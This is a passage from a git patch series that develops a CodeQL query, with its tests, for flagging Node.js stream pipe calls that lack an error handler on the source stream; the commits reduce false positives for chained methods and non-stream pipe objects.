this.getMethodName() = getEventHandlerMethodName() } + + /** Gets the stream (receiver of the event handler). */ + DataFlow::Node getStream() { result = this.getReceiver() } +} + +/** + * Models flow relationships between streams and related operations. + * Connects destination streams to their corresponding pipe call nodes. + * Connects streams to their event handler registration nodes. + */ +predicate streamFlowStep(DataFlow::Node streamNode, DataFlow::Node relatedNode) { + exists(PipeCall pipe | + streamNode = pipe.getDestinationStream() and + relatedNode = pipe + ) + or + exists(StreamEventRegistration handler | + streamNode = handler.getStream() and + relatedNode = handler + ) +} + +/** + * Gets a reference to a stream that may be the source of the given pipe call. + * Uses type back-tracking to trace stream references in the data flow. + */ +private DataFlow::SourceNode streamRef(DataFlow::TypeBackTracker t, PipeCall pipeCall) { + t.start() and + result = pipeCall.getSourceStream().getALocalSource() + or + exists(DataFlow::SourceNode prev | + prev = streamRef(t.continue(), pipeCall) and + streamFlowStep(result.getALocalUse(), prev) + ) + or + exists(DataFlow::TypeBackTracker t2 | result = streamRef(t2, pipeCall).backtrack(t2, t)) +} + +/** + * Gets a reference to a stream that may be the source of the given pipe call. + */ +private DataFlow::SourceNode streamRef(PipeCall pipeCall) { + result = streamRef(DataFlow::TypeBackTracker::end(), pipeCall) +} + +/** + * Holds if the source stream of the given pipe call has an `error` handler registered. + */ +predicate hasErrorHandlerRegistered(PipeCall pipeCall) { + exists(StreamEventRegistration handler | + handler = streamRef(pipeCall).getAMethodCall(getEventHandlerMethodName()) and + handler.getArgument(0).getStringValue() = "error" + ) +} + +from PipeCall pipeCall +where not hasErrorHandlerRegistered(pipeCall) +select pipeCall, + "Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped." diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected new file mode 100644 index 00000000000..9f986647703 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -0,0 +1,10 @@ +| test.js:4:5:4:28 | stream. ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:19:5:19:17 | s2.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:45:5:45:30 | stream2 ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:60:5:60:30 | stream2 ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:66:5:66:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:79:5:79:25 | s2.pipe ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:94:5:94:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:109:26:109:37 | s.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:116:5:116:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:125:5:125:26 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js new file mode 100644 index 00000000000..6d7b05adb0f --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -0,0 +1,137 @@ +function test() { + { + const stream = getStream(); + stream.pipe(destination); // $Alert + } + { + const stream = getStream(); + stream.pipe(destination); + stream.on('error', handleError); + } + { + const stream = getStream(); + stream.on('error', handleError); + stream.pipe(destination); + } + { + const stream = getStream(); + const s2 = stream; + s2.pipe(dest); // $Alert + } + { + const stream = getStream(); + stream.on('error', handleError); + const s2 = stream; + s2.pipe(dest); + } + { + const stream = getStream(); + const s2 = stream; + s2.on('error', handleError); + s2.pipe(dest); + } + { + const s = getStream().on('error', handler); + const d = getDest(); + s.pipe(d); + } + { + getStream().on('error', handler).pipe(dest); + } + { + const stream = getStream(); + stream.on('error', handleError); + const stream2 = stream.pipe(destination); + stream2.pipe(destination2); // $Alert + } + { + const stream = getStream(); + stream.on('error', handleError); + const destination = getDest(); + destination.on('error', handleError); + const stream2 = stream.pipe(destination); + const s3 = stream2; + s = s3.pipe(destination2); + } + { + const stream = getStream(); + stream.on('error', handleError); + const stream2 = stream.pipe(destination); + stream2.pipe(destination2); // $Alert + } + { // Error handler on destination instead of source + const stream = getStream(); + const dest = getDest(); + dest.on('error', handler); + stream.pipe(dest); // $Alert + } + { // Multiple aliases, error handler on one + const stream = getStream(); + const alias1 = stream; + const alias2 = alias1; + alias2.on('error', handleError); + alias1.pipe(dest); + } + { // Multiple pipes, handler after first pipe + const stream = getStream(); + const s2 = stream.pipe(destination1); + stream.on('error', handleError); + s2.pipe(destination2); // $Alert + } + { // Handler registered via .once + const stream = getStream(); + stream.once('error', handleError); + stream.pipe(dest); + } + { // Handler registered with arrow function + const stream = getStream(); + stream.on('error', (err) => handleError(err)); + stream.pipe(dest); + } + { // Handler registered for unrelated event + const stream = getStream(); + stream.on('close', handleClose); + stream.pipe(dest); // $Alert + } + { // Error handler registered after pipe, but before error + const stream = getStream(); + stream.pipe(dest); + setTimeout(() => stream.on('error', handleError), 8000); // $MISSING:Alert + } + { // Pipe in a function, error handler outside + const stream = getStream(); + function doPipe(s) { s.pipe(dest); } + stream.on('error', handleError); + doPipe(stream); + } + { // Pipe in a function, error handler not set + const stream = getStream(); + function doPipe(s) { s.pipe(dest); } // $Alert + doPipe(stream); + } + { // Dynamic event assignment + const stream = getStream(); + const event = 'error'; + stream.on(event, handleError); + stream.pipe(dest); // $SPURIOUS:Alert + } + { // Handler assigned via variable property + const stream = getStream(); + const handler = handleError; + stream.on('error', handler); + stream.pipe(dest); + } + { // Pipe with no intermediate variable, no error handler + getStream().pipe(dest); // $Alert + } + { // Handler set via .addListener synonym + const stream = getStream(); + stream.addListener('error', handleError); + stream.pipe(dest); + } + { // Handler set via .once after .pipe + const stream = getStream(); + stream.pipe(dest); + stream.once('error', handleError); + } +} diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.qlref b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.qlref new file mode 100644 index 00000000000..23e2f65bab7 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.qlref @@ -0,0 +1,2 @@ +query: Quality/UnhandledStreamPipe.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql From f39bf62fc6a32c9718a222451851dd0e40ce5d79 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 20 May 2025 13:04:55 +0200 Subject: [PATCH 062/271] test: Add edge cases for stream pipe error handling Add tests for chained stream methods and non-stream pipe objects --- .../Quality/UnhandledStreamPipe/test.expected | 7 ++++ .../Quality/UnhandledStreamPipe/test.js | 32 +++++++++++++++++++ 2 files changed, 39 insertions(+) diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index 9f986647703..41e272f2e2d 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -8,3 +8,10 @@ | test.js:109:26:109:37 | s.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:116:5:116:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:125:5:125:26 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:139:5:139:87 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:143:5:143:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:147:5:147:28 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:151:20:151:43 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:157:47:157:74 | someVar ... ething) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:163:5:163:20 | notStream.pipe() | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:167:5:167:36 | notStre ... , arg3) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index 6d7b05adb0f..e13608dbe2f 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -134,4 +134,36 @@ function test() { stream.pipe(dest); stream.once('error', handleError); } + { // Long chained pipe with error handler + const stream = getStream(); + stream.pause().on('error', handleError).setEncoding('utf8').resume().pipe(writable); // $SPURIOUS:Alert + } + { // Long chained pipe without error handler + const stream = getStream(); + stream.pause().setEncoding('utf8').resume().pipe(writable); // $Alert + } + { // Non-stream with pipe method that returns subscribable object (Streams do not have subscribe method) + const notStream = getNotAStream(); + notStream.pipe(writable).subscribe(); // $SPURIOUS:Alert + } + { // Non-stream with pipe method that returns subscribable object (Streams do not have subscribe method) + const notStream = getNotAStream(); + const result = notStream.pipe(writable); // $SPURIOUS:Alert + const dealWithResult = (result) => { result.subscribe(); }; + dealWithResult(result); + } + { // Non-stream with pipe method that returns subscribable object (Streams do not have subscribe method) + const notStream = getNotAStream(); + const pipeIt = (someVariable) => { return someVariable.pipe(something); }; // $SPURIOUS:Alert + let x = pipeIt(notStream); + x.subscribe(); + } + { // Calling custom pipe method with no arguments + const notStream = getNotAStream(); + notStream.pipe(); // $SPURIOUS:Alert + } + { // Calling custom pipe method with more then 2 arguments + const notStream = getNotAStream(); + notStream.pipe(arg1, arg2, arg3); // $SPURIOUS:Alert + } } From ef1bde554a1e21b964b5f46b408fcfcaa3384176 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 20 May 2025 13:13:05 +0200 Subject: [PATCH 063/271] Fixed issue where streams would not be tracked via chainable methods --- .../ql/src/Quality/UnhandledStreamPipe.ql | 23 +++++++++++++------ .../Quality/UnhandledStreamPipe/test.expected | 1 - .../Quality/UnhandledStreamPipe/test.js | 2 +- 3 files changed, 17 insertions(+), 9 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index bca1044ad1e..4f16d100021 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -30,21 +30,29 @@ class PipeCall extends DataFlow::MethodCallNode { */ string getEventHandlerMethodName() { result = ["on", "once", "addListener"] } +/** + * Gets the method names that are chainable on Node.js streams. + */ +string getChainableStreamMethodName() { + result = + [ + "setEncoding", "pause", "resume", "unpipe", "destroy", "cork", "uncork", "setDefaultEncoding", + "off", "removeListener", getEventHandlerMethodName() + ] +} + /** * A call to register an event handler on a Node.js stream. * This includes methods like `on`, `once`, and `addListener`. */ class StreamEventRegistration extends DataFlow::MethodCallNode { StreamEventRegistration() { this.getMethodName() = getEventHandlerMethodName() } - - /** Gets the stream (receiver of the event handler). */ - DataFlow::Node getStream() { result = this.getReceiver() } } /** * Models flow relationships between streams and related operations. * Connects destination streams to their corresponding pipe call nodes. - * Connects streams to their event handler registration nodes. + * Connects streams to their chainable methods. */ predicate streamFlowStep(DataFlow::Node streamNode, DataFlow::Node relatedNode) { exists(PipeCall pipe | @@ -52,9 +60,10 @@ predicate streamFlowStep(DataFlow::Node streamNode, DataFlow::Node relatedNode) relatedNode = pipe ) or - exists(StreamEventRegistration handler | - streamNode = handler.getStream() and - relatedNode = handler + exists(DataFlow::MethodCallNode chainable | + chainable.getMethodName() = getChainableStreamMethodName() and + streamNode = chainable.getReceiver() and + relatedNode = chainable ) } diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index 41e272f2e2d..776c1c07def 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -8,7 +8,6 @@ | test.js:109:26:109:37 | s.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:116:5:116:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:125:5:125:26 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:139:5:139:87 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:143:5:143:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:147:5:147:28 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:151:20:151:43 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index e13608dbe2f..61bee5078a0 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -136,7 +136,7 @@ function test() { } { // Long chained pipe with error handler const stream = getStream(); - stream.pause().on('error', handleError).setEncoding('utf8').resume().pipe(writable); // $SPURIOUS:Alert + stream.pause().on('error', handleError).setEncoding('utf8').resume().pipe(writable); } { // Long chained pipe without error handler const stream = getStream(); From 30f28155038726227d43443b1429934f9698bb22 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 20 May 2025 14:43:14 +0200 Subject: [PATCH 064/271] Fixed issue where a custom `pipe` method which returns non stream would be flagged by the query --- .../ql/src/Quality/UnhandledStreamPipe.ql | 46 ++++++++++++++++++- .../Quality/UnhandledStreamPipe/test.expected | 3 -- .../Quality/UnhandledStreamPipe/test.js | 6 +-- 3 files changed, 48 insertions(+), 7 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 4f16d100021..da2680e5531 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -41,6 +41,20 @@ string getChainableStreamMethodName() { ] } +/** + * Gets the method names that are not chainable on Node.js streams. + */ +string getNonchainableStreamMethodName() { + result = ["read", "write", "end", "pipe", "unshift", "push", "isPaused", "wrap", "emit"] +} + +/** + * Gets all method names commonly found on Node.js streams. + */ +string getStreamMethodName() { + result = [getChainableStreamMethodName(), getNonchainableStreamMethodName()] +} + /** * A call to register an event handler on a Node.js stream. * This includes methods like `on`, `once`, and `addListener`. @@ -67,6 +81,34 @@ predicate streamFlowStep(DataFlow::Node streamNode, DataFlow::Node relatedNode) ) } +/** + * Tracks the result of a pipe call as it flows through the program. + */ +private DataFlow::SourceNode pipeResultTracker(DataFlow::TypeTracker t, PipeCall pipe) { + t.start() and result = pipe + or + exists(DataFlow::TypeTracker t2 | result = pipeResultTracker(t2, pipe).track(t2, t)) +} + +/** + * Gets a reference to the result of a pipe call. + */ +private DataFlow::SourceNode pipeResultRef(PipeCall pipe) { + result = pipeResultTracker(DataFlow::TypeTracker::end(), pipe) +} + +/** + * Holds if the pipe call result is used to call a non-stream method. + * Since pipe() returns the destination stream, this finds cases where + * the destination stream is used with methods not typical of streams. + */ +predicate isPipeFollowedByNonStreamMethod(PipeCall pipeCall) { + exists(DataFlow::MethodCallNode call | + call = pipeResultRef(pipeCall).getAMethodCall() and + not call.getMethodName() = getStreamMethodName() + ) +} + /** * Gets a reference to a stream that may be the source of the given pipe call. * Uses type back-tracking to trace stream references in the data flow. @@ -101,6 +143,8 @@ predicate hasErrorHandlerRegistered(PipeCall pipeCall) { } from PipeCall pipeCall -where not hasErrorHandlerRegistered(pipeCall) +where + not hasErrorHandlerRegistered(pipeCall) and + not isPipeFollowedByNonStreamMethod(pipeCall) select pipeCall, "Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped." diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index 776c1c07def..743b184c515 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -9,8 +9,5 @@ | test.js:116:5:116:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:125:5:125:26 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:143:5:143:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:147:5:147:28 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:151:20:151:43 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:157:47:157:74 | someVar ... ething) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:163:5:163:20 | notStream.pipe() | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:167:5:167:36 | notStre ... , arg3) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index 61bee5078a0..c59abb6ab1e 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -144,17 +144,17 @@ function test() { } { // Non-stream with pipe method that returns subscribable object (Streams do not have subscribe method) const notStream = getNotAStream(); - notStream.pipe(writable).subscribe(); // $SPURIOUS:Alert + notStream.pipe(writable).subscribe(); } { // Non-stream with pipe method that returns subscribable object (Streams do not have subscribe method) const notStream = getNotAStream(); - const result = notStream.pipe(writable); // $SPURIOUS:Alert + const result = notStream.pipe(writable); const dealWithResult = (result) => { result.subscribe(); }; dealWithResult(result); } { // Non-stream with pipe method that returns subscribable object (Streams do not have subscribe method) const notStream = getNotAStream(); - const pipeIt = (someVariable) => { return someVariable.pipe(something); }; // $SPURIOUS:Alert + const pipeIt = (someVariable) => { return someVariable.pipe(something); }; let x = pipeIt(notStream); x.subscribe(); } From 03d1f9a7d33820082e8d036e852a6881ac94ffef Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 20 May 2025 14:45:51 +0200 Subject: [PATCH 065/271] Restrict pipe detection to calls with 1-2 arguments --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 2 +- .../query-tests/Quality/UnhandledStreamPipe/test.expected | 2 -- .../ql/test/query-tests/Quality/UnhandledStreamPipe/test.js | 4 ++-- 3 files changed, 3 insertions(+), 5 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index da2680e5531..4580e1c3293 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -15,7 +15,7 @@ import javascript * A call to the `pipe` method on a Node.js stream. */ class PipeCall extends DataFlow::MethodCallNode { - PipeCall() { this.getMethodName() = "pipe" } + PipeCall() { this.getMethodName() = "pipe" and this.getNumArgument() = [1, 2] } /** Gets the source stream (receiver of the pipe call). */ DataFlow::Node getSourceStream() { result = this.getReceiver() } diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index 743b184c515..2c52c738204 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -9,5 +9,3 @@ | test.js:116:5:116:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:125:5:125:26 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:143:5:143:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:163:5:163:20 | notStream.pipe() | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:167:5:167:36 | notStre ... , arg3) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index c59abb6ab1e..c80cd11c16b 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -160,10 +160,10 @@ function test() { } { // Calling custom pipe method with no arguments const notStream = getNotAStream(); - notStream.pipe(); // $SPURIOUS:Alert + notStream.pipe(); } { // Calling custom pipe method with more then 2 arguments const notStream = getNotAStream(); - notStream.pipe(arg1, arg2, arg3); // $SPURIOUS:Alert + notStream.pipe(arg1, arg2, arg3); } } From 5710f0cf51fc8876c64e62235068cc1c6fd59415 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Wed, 21 May 2025 09:42:44 +0200 Subject: [PATCH 066/271] Add test cases for non-stream field accesses and methods before and after pipe operations --- .../UnhandledStreamPipe/rxjsStreams.js | 10 +++++ .../Quality/UnhandledStreamPipe/test.expected | 17 +++++++ .../Quality/UnhandledStreamPipe/test.js | 45 +++++++++++++++++++ 3 files changed, 72 insertions(+) create mode 100644 javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js new file mode 100644 index 00000000000..a074be1c1a2 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js @@ -0,0 +1,10 @@ +import * as rx from 'rxjs'; +import * as ops from 'rxjs/operators'; + +const { of, from } = rx; +const { map, filter } = ops; + +function f(){ + of(1, 2, 3).pipe(map(x => x * 2)); // $SPURIOUS:Alert + someNonStream().pipe(map(x => x * 2)); // $SPURIOUS:Alert +} diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index 2c52c738204..a26cf2a9342 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -1,3 +1,5 @@ +| rxjsStreams.js:8:3:8:35 | of(1, 2 ... x * 2)) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| rxjsStreams.js:9:3:9:39 | someNon ... x * 2)) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:4:5:4:28 | stream. ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:19:5:19:17 | s2.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:45:5:45:30 | stream2 ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | @@ -9,3 +11,18 @@ | test.js:116:5:116:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:125:5:125:26 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:143:5:143:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:171:17:171:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:175:17:175:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:185:5:185:32 | copyStr ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:190:17:190:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:195:17:195:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:199:5:199:22 | notStream.pipe({}) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:203:5:203:26 | notStre ... ()=>{}) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:207:5:207:31 | getStre ... mber()) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:207:5:207:42 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:207:5:207:53 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:207:5:207:64 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:212:5:212:23 | getStream().pipe(p) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:212:5:212:34 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:212:5:212:45 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:212:5:212:56 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index c80cd11c16b..1cc320bd00b 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -166,4 +166,49 @@ function test() { const notStream = getNotAStream(); notStream.pipe(arg1, arg2, arg3); } + { // Member access on a non-stream after pipe + const notStream = getNotAStream(); + const val = notStream.pipe(writable).someMember; // $SPURIOUS:Alert + } + { // Member access on a stream after pipe + const notStream = getNotAStream(); + const val = notStream.pipe(writable).readable; // $Alert + } + { // Method access on a non-stream after pipe + const notStream = getNotAStream(); + const val = notStream.pipe(writable).someMethod(); + } + { // Pipe on fs readStream + const fs = require('fs'); + const stream = fs.createReadStream('file.txt'); + const copyStream = stream; + copyStream.pipe(destination); // $Alert + } + { + const notStream = getNotAStream(); + const something = notStream.someNotStreamPropertyAccess; + const val = notStream.pipe(writable); // $SPURIOUS:Alert + } + { + const notStream = getNotAStream(); + const something = notStream.someNotStreamPropertyAccess(); + const val = notStream.pipe(writable); // $SPURIOUS:Alert + } + { + const notStream = getNotAStream(); + notStream.pipe({}); // $SPURIOUS:Alert + } + { + const notStream = getNotAStream(); + notStream.pipe(()=>{}); // $SPURIOUS:Alert + } + { + const plumber = require('gulp-plumber'); + getStream().pipe(plumber()).pipe(dest).pipe(dest).pipe(dest); // $SPURIOUS:Alert + } + { + const plumber = require('gulp-plumber'); + const p = plumber(); + getStream().pipe(p).pipe(dest).pipe(dest).pipe(dest); // $SPURIOUS:Alert + } } From 4332de464aef736dddb2616ff88868e74f9740fa Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Wed, 21 May 2025 11:28:37 +0200 Subject: [PATCH 067/271] Eliminate false positives by detecting non-stream objects returned from `pipe()` calls based on accessed properties --- .../ql/src/Quality/UnhandledStreamPipe.ql | 36 ++++++++++++++++++- .../Quality/UnhandledStreamPipe/test.expected | 7 ---- .../Quality/UnhandledStreamPipe/test.js | 2 +- 3 files changed, 36 insertions(+), 9 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 4580e1c3293..8436aa124d0 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -48,6 +48,21 @@ string getNonchainableStreamMethodName() { result = ["read", "write", "end", "pipe", "unshift", "push", "isPaused", "wrap", "emit"] } +/** + * Gets the property names commonly found on Node.js streams. + */ +string getStreamPropertyName() { + result = + [ + "readable", "writable", "destroyed", "closed", "readableHighWaterMark", "readableLength", + "readableObjectMode", "readableEncoding", "readableFlowing", "readableEnded", "flowing", + "writableHighWaterMark", "writableLength", "writableObjectMode", "writableFinished", + "writableCorked", "writableEnded", "defaultEncoding", "allowHalfOpen", "objectMode", + "errored", "pending", "autoDestroy", "encoding", "path", "fd", "bytesRead", "bytesWritten", + "_readableState", "_writableState" + ] +} + /** * Gets all method names commonly found on Node.js streams. */ @@ -109,6 +124,25 @@ predicate isPipeFollowedByNonStreamMethod(PipeCall pipeCall) { ) } +/** + * Holds if the pipe call result is used to access a property that is not typical of streams. + */ +predicate 